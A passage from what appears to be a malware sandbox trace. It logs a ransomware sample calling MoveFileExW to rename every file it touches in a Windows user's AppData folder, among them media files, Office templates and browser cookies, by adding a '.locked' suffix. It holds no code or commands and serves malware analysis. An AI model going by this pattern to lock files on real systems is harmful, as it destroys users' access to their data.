"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c8t3my.avi"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\C8t3mY.avi.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\c8t3my.avi.locked"), dwFlags=0x2) returned 1 [0159.073] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CQxvk-.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cqxvk-.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CQxvk-.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\cqxvk-.mp3.locked"), dwFlags=0x2) returned 1 [0159.132] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\D wPBgUnq_i2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d wpbgunq_i2.m4a"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\D wPBgUnq_i2.m4a.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\d wpbgunq_i2.m4a.locked"), dwFlags=0x2) returned 1 [0159.215] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\e3E2.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\e3e2.flv"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\e3E2.flv.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\e3e2.flv.locked"), dwFlags=0x2) returned 1 [0159.260] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\faRj2IfRvziAvE.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\farj2ifrvziave.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\faRj2IfRvziAvE.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\farj2ifrvziave.png.locked"), dwFlags=0x2) returned 1 [0159.282] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FIa0Aqa z_8u.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fia0aqa z_8u.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\FIa0Aqa z_8u.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\fia0aqa z_8u.swf.locked"), dwFlags=0x2) returned 1 [0159.309] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\go2F.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\go2f.png"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\go2F.png.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\go2f.png.locked"), dwFlags=0x2) returned 1 [0159.381] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JmizzkV1phS7a.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jmizzkv1phs7a.bmp"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\JmizzkV1phS7a.bmp.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\jmizzkv1phs7a.bmp.locked"), dwFlags=0x2) returned 1 [0159.451] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\joCLWdXhM52QJ3.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\joclwdxhm52qj3.swf"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\joCLWdXhM52QJ3.swf.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\joclwdxhm52qj3.swf.locked"), dwFlags=0x2) returned 1 [0159.503] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LdZQIy4FCVoGcWYW.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ldzqiy4fcvogcwyw.mp3"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\LdZQIy4FCVoGcWYW.mp3.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\ldzqiy4fcvogcwyw.mp3.locked"), dwFlags=0x2) returned 1 [0160.040] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx.locked"), dwFlags=0x2) returned 1 [0160.108] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\UserData\\Low\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\userdata\\low\\index.dat.locked"), dwFlags=0x2) returned 1 [0160.133] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\office\\recent\\index.dat.locked"), dwFlags=0x2) returned 1 [0160.141] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\outlook\\outlook.xml.locked"), dwFlags=0x2) returned 1 [0160.158] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Publisher Building Blocks\\ContentStore.xml.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\publisher building blocks\\contentstore.xml.locked"), dwFlags=0x2) returned 1 [0160.192] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Templates\\Normal.dotm.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\templates\\normal.dotm.locked"), dwFlags=0x2) returned 1 [0160.203] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.locked"), dwFlags=0x2) returned 1 [0160.207] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt.locked"), dwFlags=0x2) returned 1 [0160.211] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@demdex[1].txt.locked"), dwFlags=0x2) returned 1 [0160.214] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@dpm.demdex[2].txt.locked"), dwFlags=0x2) returned 1 [0160.217] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@everesttech[1].txt.locked"), dwFlags=0x2) returned 1 [0160.220] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@google[2].txt.locked"), dwFlags=0x2) returned 1 [0160.223] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@ml314[1].txt.locked"), dwFlags=0x2) returned 1 [0160.226] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@rlcdn[2].txt.locked"), dwFlags=0x2) returned 1 [0160.258] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat.locked"), dwFlags=0x2) returned 1 [0160.267] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@ad13.adfarm1.adition[1].txt.locked"), dwFlags=0x2) returned 1 [0160.271] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adfarm1.adition[2].txt.locked"), dwFlags=0x2) returned 1 [0160.274] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adformdsp[1].txt.locked"), dwFlags=0x2) returned 1 [0160.276] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adform[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adform[1].txt.locked"), dwFlags=0x2) returned 1 [0160.280] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adnxs[1].txt.locked"), dwFlags=0x2) returned 1 [0160.282] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtech[2].txt.locked"), dwFlags=0x2) returned 1 [0160.284] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@adtr02[1].txt.locked"), dwFlags=0x2) returned 1 [0160.286] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@advertising[1].txt.locked"), dwFlags=0x2) returned 1 [0160.289] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@api.bing[2].txt.locked"), dwFlags=0x2) returned 1 [0160.292] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@at.atwola[1].txt.locked"), dwFlags=0x2) returned 1 [0160.294] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@bing[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@bing[1].txt.locked"), dwFlags=0x2) returned 1 [0160.297] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.bing[1].txt.locked"), dwFlags=0x2) returned 1 [0160.300] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@c.msn[1].txt.locked"), dwFlags=0x2) returned 1 [0160.302] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@doubleclick[2].txt.locked"), dwFlags=0x2) returned 1 [0160.306] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[1].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[1].txt.locked"), dwFlags=0x2) returned 1 [0160.308] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[3].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[3].txt.locked"), dwFlags=0x2) returned 1 [0160.310] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt"), lpNewFileName="C:\\\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@google[4].txt.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@google[4].txt.locked"), dwFlags=0x2) returned 1 [0160.313] MoveFileExW (lpExistingFileName="C:\\\\Users\\5p5NrGJn0jS 